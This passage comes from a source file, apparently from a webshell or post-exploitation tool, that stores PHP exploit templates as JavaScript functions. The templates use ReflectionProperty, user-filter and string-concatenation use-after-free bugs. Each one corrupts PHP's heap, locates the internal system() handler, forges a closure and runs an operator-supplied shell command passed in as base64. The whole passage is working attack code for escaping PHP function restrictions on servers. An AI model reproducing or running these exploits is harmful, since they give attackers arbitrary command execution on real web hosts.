989 | $addr = $basic_funcs;
990 | do {
991 | $f_entry = leak($addr);
992 | $f_name = leak($f_entry, 0, 6);
993 |
994 | if($f_name == 0x6d6574737973) { # system
995 | return leak($addr + 8);
996 | }
997 | $addr += 0x20;
998 | } while($f_entry != 0);
999 | return false;
1000 | }
1001 |
1002 | function trigger_uaf($arg) {
1003 | # str_shuffle prevents opcache string interning
1004 | $arg = str_shuffle(str_repeat('A', 79));
1005 | $vuln = new Vuln();
1006 | $vuln->a = $arg;
1007 | }
1008 |
1009 | if(stristr(PHP_OS, 'WIN')) {
1010 | die('This PoC is for *nix systems only.');
1011 | }
1012 |
1013 | $n_alloc = 10; # increase this value if UAF fails
1014 | $contiguous = [];
1015 | for($i = 0; $i < $n_alloc; $i++)
1016 | $contiguous[] = str_shuffle(str_repeat('A', 79));
1017 |
1018 | trigger_uaf('x');
1019 | $abc = $backtrace[1]['args'][0];
1020 |
1021 | $helper = new Helper;
1022 | $helper->b = function ($x) { };
1023 |
1024 | if(strlen($abc) == 79 || strlen($abc) == 0) {
1025 | die("UAF failed");
1026 | }
1027 | $closure_handlers = str2ptr($abc, 0);
1028 | $php_heap = str2ptr($abc, 0x58);
1029 | $abc_addr = $php_heap - 0xc8;
1030 |
1031 |
1032 | write($abc, 0x60, 2);
1033 | write($abc, 0x70, 6);
1034 |
1035 | write($abc, 0x10, $abc_addr + 0x60);
1036 | write($abc, 0x18, 0xa);
1037 |
1038 | $closure_obj = str2ptr($abc, 0x20);
1039 |
1040 | $binary_leak = leak($closure_handlers, 8);
1041 | if(!($base = get_binary_base($binary_leak))) {
1042 | die("Couldn't determine binary base address");
1043 | }
1044 |
1045 | if(!($elf = parse_elf($base))) {
1046 | die("Couldn't parse ELF header");
1047 | }
1048 |
1049 | if(!($basic_funcs = get_basic_funcs($base, $elf))) {
1050 | die("Couldn't get basic_functions address");
1051 | }
1052 |
1053 | if(!($zif_system = get_system($basic_funcs))) {
1054 | die("Couldn't get zif_system address");
1055 | }
1056 |
1057 | $fake_obj_offset = 0xd0;
1058 | for($i = 0; $i < 0x110; $i += 8) {
1059 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
1060 | }
1061 |
1062 | write($abc, 0x20, $abc_addr + $fake_obj_offset);
1063 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type
1064 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
1065 |
1066 | ($helper->b)($cmd);
1067 | }
1068 | if(substr("${bin}",0,1)== "/") {
1069 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1070 | }else{
1071 | pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1072 | }
1073 | `;
1074 | },
1075 | PHP7_ReflectionProperty_UAF_EXP(bin, cmd){
1076 | return `
1077 | global $abc, $helper;
1078 | class Test {
1079 | public HelperHelperHelperHelperHelperHelperHelper $prop;
1080 | }
1081 | class HelperHelperHelperHelperHelperHelperHelper {
1082 | public $a, $b;
1083 | }
1084 | function s2n($str) {
1085 | $address = 0;
1086 | for ($i=0;$i<4;$i++){
1087 | $address <<= 8;
1088 | $address |= ord($str[4 + $i]);
1089 | }
1090 | return $address;
1091 | }
1092 | function s2b($str, $offset){
1093 | return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
1094 | STR_PAD_LEFT));
1095 | }
1096 | function leak($offset) {
1097 | global $abc;
1098 | $data = "";
1099 | for ($i = 0;$i < 8;$i++){
1100 | $data .= $abc[$offset + 7 - $i];
1101 | }
1102 | return $data;
1103 | }
1104 | function leak2($address) {
1105 | global $helper;
1106 | write(0x20, $address);
1107 | $leak = strlen($helper->b);
1108 | $leak = dechex($leak);
1109 | $leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
1110 | $leak = hex2bin($leak);
1111 | return $leak;
1112 | }
1113 | function write($offset, $data) {
1114 | global $abc;
1115 | $data = str_pad($data, 8, "\\x00", STR_PAD_LEFT);
1116 | for ($i = 0;$i < 8;$i++){
1117 | $abc[$offset + $i] = $data[7 - $i];
1118 | }
1119 | }
1120 | function get_basic_funcs($std_object_handlers) {
1121 | $prefix = substr($std_object_handlers, 0, 4);
1122 | $std_object_handlers = hexdec(bin2hex($std_object_handlers));
1123 | $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed
1124 | $NumPrefix = $std_object_handlers & 0x0000ffffff000000;
1125 | $NumPrefix = $NumPrefix - 0x0000000001000000;
1126 | $funcs = get_defined_functions()['internal'];
1127 | for($i = 0; $i < 0x1000; $i++) {
1128 | $addr = $start - 0x1000 * $i;
1129 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
1130 | "0", STR_PAD_LEFT))));
1131 | if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
1132 | {
1133 | continue;
1134 | }
1135 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
1136 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
1137 | $name = explode("\\x00", $name)[0];
1138 | if(in_array($name, $funcs)) {
1139 | return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
1140 | $std_object_handlers, $NumPrefix];
1141 | }
1142 | }
1143 | }
1144 | function getSystem($unknown_func) {
1145 | $unknown_addr = hex2bin($unknown_func[1]);
1146 | $prefix = substr($unknown_addr, 0, 4);
1147 | $unknown_addr = hexdec($unknown_func[1]);
1148 | $start = $unknown_addr & 0x00000000ffffffff;
1149 | for($i = 0;$i < 0x800;$i++) {
1150 | $addr = $start - 0x20 * $i;
1151 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
1152 | "0", STR_PAD_LEFT))));
1153 | if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
1154 | $unknown_func[3]) {
1155 | continue;
1156 | }
1157 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
1158 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
1159 | if(strstr($name, "system")) {
1160 | return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
1161 | "0", STR_PAD_LEFT))));
1162 | }
1163 | }
1164 | for($i = 0;$i < 0x800;$i++) {
1165 | $addr = $start + 0x20 * $i;
1166 | $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
1167 | "0", STR_PAD_LEFT))));
1168 | if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
1169 | $unknown_func[3]) {
1170 | continue;
1171 | }
1172 | $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
1173 | $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
1174 | if(strstr($name, "system")) {
1175 | return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
1176 | "0", STR_PAD_LEFT))));
1177 | }
1178 | }
1179 | }
1180 | $rp = new ReflectionProperty(Test::class, 'prop');
1181 | $test = new Test;
1182 | $test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
1183 | $abc = $rp -> getType() -> getName();
1184 | $helper = new HelperHelperHelperHelperHelperHelperHelper();
1185 | if (strlen($abc) < 1000) {
1186 | exit("UAF Failed!");
1187 | }
1188 | $helper -> a = $helper;
1189 | $php_heap = leak(0x10);
1190 | $helper -> a = function($x){};
1191 | $std_object_handlers = leak(0x0);
1192 | $prefix = substr($php_heap, 0, 4);
1193 | //echo "Helper Object Address: " . bin2hex($php_heap) . "\\n";
1194 | //echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\\n";
1195 | $closure_object = leak(0x10);
1196 | //echo "Closure Object: " . bin2hex($closure_object) . "\\n";
1197 | write(0x28, "\\x06");
1198 | if(!($unknown_func = get_basic_funcs($std_object_handlers))) {
1199 | die("Couldn't determine funcs address");
1200 | }
1201 | //echo "Find func's adress: " . $unknown_func[1] . " -> " . $unknown_func[0] . "\\n";
1202 | if(!($system_address = getSystem($unknown_func))) {
1203 | die("Couldn't determine system address");
1204 | }
1205 | //echo "Find system's handler: " . $system_address . "\\n";
1206 | for ($i = 0;$i < (0x130 / 0x08);$i++) {
1207 | write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 *
1208 | $i)));
1209 | }
1210 | $abc[0x308 + 0x40] = "\\x01";
1211 | write(0x308 + 0x70, hex2bin($system_address));
1212 | write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));
1213 | //echo "Fake Closure Object Address: " . bin2hex($prefix . hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0", STR_PAD_LEFT))) . "\\n";
1214 | if(substr("${bin}",0,1)== "/") {
1215 | ($helper -> a)("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1216 | }else{
1217 | ($helper -> a)("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1218 | }
1219 | `;
1220 | },
1221 | PHP7_UserFilter_EXP(bin, cmd) {
1222 | return `
1223 | function pwn($cmd) {
1224 | define('LOGGING', false);
1225 | define('CHUNK_DATA_SIZE', 0x60);
1226 | define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
1227 | define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
1228 | define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
1229 | define('CMD', $cmd);
1230 | for($i = 0; $i < 10; $i++) {
1231 | $groom[] = Pwn::alloc(STRING_SIZE);
1232 | }
1233 | stream_filter_register('pwn_filter', 'Pwn');
1234 | $fd = fopen('php://memory', 'w');
1235 | stream_filter_append($fd,'pwn_filter');
1236 | fwrite($fd, 'x');
1237 | }
1238 | class Helper { public $a, $b, $c; }
1239 | class Pwn extends php_user_filter {
1240 | private $abc, $abc_addr;
1241 | private $helper, $helper_addr, $helper_off;
1242 | private $uafp, $hfp;
1243 | public function filter($in, $out, &$consumed, $closing) {
1244 | if($closing) return;
1245 | stream_bucket_make_writeable($in);
1246 | $this->filtername = Pwn::alloc(STRING_SIZE);
1247 | fclose($this->stream);
1248 | $this->go();
1249 | return PSFS_PASS_ON;
1250 | }
1251 | private function go() {
1252 | $this->abc = &$this->filtername;
1253 | $this->make_uaf_obj();
1254 | $this->helper = new Helper;
1255 | $this->helper->b = function($x) {};
1256 | $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
1257 | $this->log("helper @ 0x%x", $this->helper_addr);
1258 | $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
1259 | $this->log("abc @ 0x%x", $this->abc_addr);
1260 | $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
1261 | $helper_handlers = $this->str2ptr(CHUNK_SIZE);
1262 | $this->log("helper handlers @ 0x%x", $helper_handlers);
1263 | $this->prepare_leaker();
1264 | $binary_leak = $this->read($helper_handlers + 8);
1265 | $this->log("binary leak @ 0x%x", $binary_leak);
1266 | $this->prepare_cleanup($binary_leak);
1267 | $closure_addr = $this->str2ptr($this->helper_off + 0x38);
1268 | $this->log("real closure @ 0x%x", $closure_addr);
1269 | $closure_ce = $this->read($closure_addr + 0x10);
1270 | $this->log("closure class_entry @ 0x%x", $closure_ce);
1271 | $basic_funcs = $this->get_basic_funcs($closure_ce);
1272 | $this->log("basic_functions @ 0x%x", $basic_funcs);
1273 | $zif_system = $this->get_system($basic_funcs);
1274 | $this->log("zif_system @ 0x%x", $zif_system);
1275 | $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
1276 | for($i = 0; $i < 0x138; $i += 8) {
1277 | $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
1278 | }
1279 | $this->write($fake_closure_off + 0x38, 1, 4);
1280 | $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
1281 | $this->write($fake_closure_off + $handler_offset, $zif_system);
1282 | $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
1283 | $this->write($this->helper_off + 0x38, $fake_closure_addr);
1284 | $this->log("fake closure @ 0x%x", $fake_closure_addr);
1285 | $this->cleanup();
1286 | ($this->helper->b)(CMD);
1287 | }
1288 | private function make_uaf_obj() {
1289 | $this->uafp = fopen('php://memory', 'w');
1290 | fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
1291 | for($i = 0; $i < STRING_SIZE; $i++) {
1292 | fwrite($this->uafp, "\\x00");
1293 | }
1294 | }
1295 | private function prepare_leaker() {
1296 | $str_off = $this->helper_off + CHUNK_SIZE + 8;
1297 | $this->write($str_off, 2);
1298 | $this->write($str_off + 0x10, 6);
1299 | $val_off = $this->helper_off + 0x48;
1300 | $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
1301 | $this->write($val_off + 8, 0xA);
1302 | }
1303 | private function prepare_cleanup($binary_leak) {
1304 | $ret_gadget = $binary_leak;
1305 | do {
1306 | --$ret_gadget;
1307 | } while($this->read($ret_gadget, 1) !== 0xC3);
1308 | $this->log("ret gadget = 0x%x", $ret_gadget);
1309 | $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
1310 | $this->write(8, $ret_gadget);
1311 | }
1312 | private function read($addr, $n = 8) {
1313 | $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
1314 | $value = strlen($this->helper->c);
1315 | if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
1316 | return $value;
1317 | }
1318 | private function write($p, $v, $n = 8) {
1319 | for($i = 0; $i < $n; $i++) {
1320 | $this->abc[$p + $i] = chr($v & 0xff);
1321 | $v >>= 8;
1322 | }
1323 | }
1324 | private function get_basic_funcs($addr) {
1325 | while(true) {
1326 | $addr -= 0x10;
1327 | if($this->read($addr, 4) === 0xA8 &&
1328 | in_array($this->read($addr + 4, 4),
1329 | [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
1330 | $module_name_addr = $this->read($addr + 0x20);
1331 | $module_name = $this->read($module_name_addr);
1332 | if($module_name === 0x647261646e617473) {
1333 | $this->log("standard module @ 0x%x", $addr);
1334 | return $this->read($addr + 0x28);
1335 | }
1336 | }
1337 | }
1338 | }
1339 | private function get_system($basic_funcs) {
1340 | $addr = $basic_funcs;
1341 | do {
1342 | $f_entry = $this->read($addr);
1343 | $f_name = $this->read($f_entry, 6);
1344 | if($f_name === 0x6d6574737973) {
1345 | return $this->read($addr + 8);
1346 | }
1347 | $addr += 0x20;
1348 | } while($f_entry !== 0);
1349 | }
1350 | private function cleanup() {
1351 | $this->hfp = fopen('php://memory', 'w');
1352 | fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
1353 | for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
1354 | fwrite($this->hfp, "\\x00");
1355 | }
1356 | }
1357 | private function str2ptr($p = 0, $n = 8) {
1358 | $address = 0;
1359 | for($j = $n - 1; $j >= 0; $j--) {
1360 | $address <<= 8;
1361 | $address |= ord($this->abc[$p + $j]);
1362 | }
1363 | return $address;
1364 | }
1365 | private function ptr2str($ptr, $n = 8) {
1366 | $out = '';
1367 | for ($i = 0; $i < $n; $i++) {
1368 | $out .= chr($ptr & 0xff);
1369 | $ptr >>= 8;
1370 | }
1371 | return $out;
1372 | }
1373 | private function log($format, $val = '') {
1374 | if(LOGGING) {
1375 | printf("{$format}\\n", $val);
1376 | }
1377 | }
1378 | static function alloc($size) {
1379 | return str_shuffle(str_repeat('A', $size));
1380 | }
1381 | }
1382 | if(substr("${bin}",0,1)== "/") {
1383 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1384 | } else {
1385 | pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1386 | }
1387 | `;
1388 | },
1389 | PHP_CONCAT_UAF_EXP(bin, cmd) {
1390 | return `
1391 | class Helper { public $a, $b, $c; }
1392 | class Pwn {
1393 | const LOGGING = false;
1394 | const CHUNK_DATA_SIZE = 0x60;
1395 | const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
1396 | const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
1397 | const HT_SIZE = 0x118;
1398 | const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
1399 | public function __construct($cmd) {
1400 | for($i = 0; $i < 10; $i++) {
1401 | $groom[] = self::alloc(self::STRING_SIZE);
1402 | $groom[] = self::alloc(self::HT_STRING_SIZE);
1403 | }
1404 | $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
1405 | $fill = self::alloc(self::STRING_SIZE);
1406 | $this->abc = self::alloc(self::STRING_SIZE);
1407 | $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
1408 | self::log("abc @ 0x%x", $abc_addr);
1409 | $this->free($abc_addr);
1410 | $this->helper = new Helper;
1411 | if(strlen($this->abc) < 0x1337) {
1412 | self::log("uaf failed");
1413 | return;
1414 | }
1415 | $this->helper->a = "leet";
1416 | $this->helper->b = function($x) {};
1417 | $this->helper->c = 0xfeedface;
1418 | $helper_handlers = $this->rel_read(0);
1419 | self::log("helper handlers @ 0x%x", $helper_handlers);
1420 | $closure_addr = $this->rel_read(0x20);
1421 | self::log("real closure @ 0x%x", $closure_addr);
1422 | $closure_ce = $this->read($closure_addr + 0x10);
1423 | self::log("closure class_entry @ 0x%x", $closure_ce);
1424 | $basic_funcs = $this->get_basic_funcs($closure_ce);
1425 | self::log("basic_functions @ 0x%x", $basic_funcs);
1426 | $zif_system = $this->get_system($basic_funcs);
1427 | self::log("zif_system @ 0x%x", $zif_system);
1428 | $fake_closure_off = 0x70;
1429 | for($i = 0; $i < 0x138; $i += 8) {
1430 | $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
1431 | }
1432 | $this->rel_write($fake_closure_off + 0x38, 1, 4);
1433 | $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
1434 | $this->rel_write($fake_closure_off + $handler_offset, $zif_system);
1435 |
1436 | $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
1437 | self::log("fake closure @ 0x%x", $fake_closure_addr);
1438 |
1439 | $this->rel_write(0x20, $fake_closure_addr);
1440 | ($this->helper->b)($cmd);
1441 |
1442 | $this->rel_write(0x20, $closure_addr);
1443 | unset($this->helper->b);
1444 | }
1445 | private function heap_leak() {
1446 | $arr = [[], []];
1447 | set_error_handler(function() use (&$arr, &$buf) {
1448 | $arr = 1;
1449 | $buf = str_repeat("\\x00", self::HT_STRING_SIZE);
1450 | });
1451 | $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
1452 | return $buf;
1453 | }
1454 | private function free($addr) {
1455 | $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
1456 | $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
1457 |
1458 | $arr = [[], []];
1459 | set_error_handler(function() use (&$arr, &$buf, &$payload) {
1460 | $arr = 1;
1461 | $buf = str_repeat($payload, 1);
1462 | });
1463 | $arr[1] .= "x";
1464 | }
1465 | private function rel_read($offset) {
1466 | return self::str2ptr($this->abc, $offset);
1467 | }
1468 | private function rel_write($offset, $value, $n = 8) {
1469 | for ($i = 0; $i < $n; $i++) {
1470 | $this->abc[$offset + $i] = chr($value & 0xff);
1471 | $value >>= 8;
1472 | }
1473 | }
1474 | private function read($addr, $n = 8) {
1475 | $this->rel_write(0x10, $addr - 0x10);
1476 | $value = strlen($this->helper->a);
1477 | if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
1478 | return $value;
1479 | }
1480 | private function get_system($basic_funcs) {
1481 | $addr = $basic_funcs;
1482 | do {
1483 | $f_entry = $this->read($addr);
1484 | $f_name = $this->read($f_entry, 6);
1485 | if($f_name === 0x6d6574737973) {
1486 | return $this->read($addr + 8);
1487 | }
1488 | $addr += 0x20;
1489 | } while($f_entry !== 0);
1490 | }
1491 | private function get_basic_funcs($addr) {
1492 | while(true) {
1493 | $addr -= 0x10;
1494 | if($this->read($addr, 4) === 0xA8 &&
1495 | in_array($this->read($addr + 4, 4),
1496 | [20180731, 20190902, 20200930, 20210902])) {
1497 | $module_name_addr = $this->read($addr + 0x20);
1498 | $module_name = $this->read($module_name_addr);
1499 | if($module_name === 0x647261646e617473) {
1500 | self::log("standard module @ 0x%x", $addr);
1501 | return $this->read($addr + 0x28);
1502 | }
1503 | }
1504 | }
1505 | }
1506 | private function log($format, $val = "") {
1507 | if(self::LOGGING) {
1508 | printf("{$format}\\n", $val);
1509 | }
1510 | }
1511 | static function alloc($size) {
1512 | return str_shuffle(str_repeat("A", $size));
1513 | }
1514 | static function str2ptr($str, $p = 0, $n = 8) {
1515 | $address = 0;
1516 | for($j = $n - 1; $j >= 0; $j--) {
1517 | $address <<= 8;
1518 | $address |= ord($str[$p + $j]);
1519 | }
1520 | return $address;
1521 | }
1522 | };
1523 | if(substr("${bin}",0,1)== "/") {
1524 | new Pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1525 | } else {
1526 | new Pwn("${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
1527 | }`.replace(/\n\s+?/g, '');;
1528 | }
1529 |
1530 | }
--------------------------------------------------------------------------------
|